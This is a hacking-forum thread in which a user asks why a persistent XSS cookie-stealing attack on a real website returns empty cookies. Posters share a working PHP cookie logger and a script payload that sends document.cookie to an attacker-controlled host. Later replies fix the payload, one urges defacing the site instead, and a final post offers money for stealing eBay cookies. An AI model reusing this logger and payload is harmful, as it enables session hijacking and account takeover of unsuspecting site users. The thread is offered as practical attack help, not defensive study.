Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

No cookie while using xss cookie injection?

So,i was trying to learn a bit more about xss and i came to this problem...there's a website which allows persisten xss and i've used it to test my abilities with xss like redirection etc....but when i try to steal cookies...this is what it shows:
IP: (here is my ip)
Cookie:
Referrer: http://the website trying to steal cookies/?code=profile.settingsSaveSuccess
Browser: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22

How's that possible?
Just deface it dude, Don't bother with cookie stealing

Defacing is le shit lol
Hiring PHP developers does not contribute to the quota of employees with disabilities.
[Image: lPQX27G.png]
(May 17, 2015 08:27 PM)♕ Pimp ♕ Wrote:  you're a waste of my time and giving me cancer.
so...this is the php code:

<?php
/*
Kr3w's Cookie Logger
www.thedefaced.org
*/

$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];

$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";

$log = "log.txt";
@chmod($log, 0777);

$f = fopen($log, 'a');
fwrite($f, $data);
fclose($f);

@header("Location: $redirect");

?>

and the xss code is the following:
"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>
so...make it like this:
"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;+"&redirect="+="http://www.whateversite.com"</script> ?!
oh...i c...going to try it right now,thnx...

tried my friend but still the same result... :(
yes they are...i don't get it what's wrong... :(
it worked! thank you very much man!
Hi,
can anybody help me to steal ebay cookies?
I can pay .
For more details please PM me.
Thank


Possibly Related Threads...
Thread / Author Replies Views Last Post
by famedgod6Nov 29, 2024 10:21 PM 10 514 Nov 29, 2024 10:21 PM
Last Post: Chorozon
by barrettSep 4, 2024 02:58 PM 1 142 Sep 4, 2024 02:58 PM
Last Post: source
by Gee4rceApr 19, 2021 06:47 AM 26 4,056 Apr 19, 2021 06:47 AM
Last Post: theghostofgreen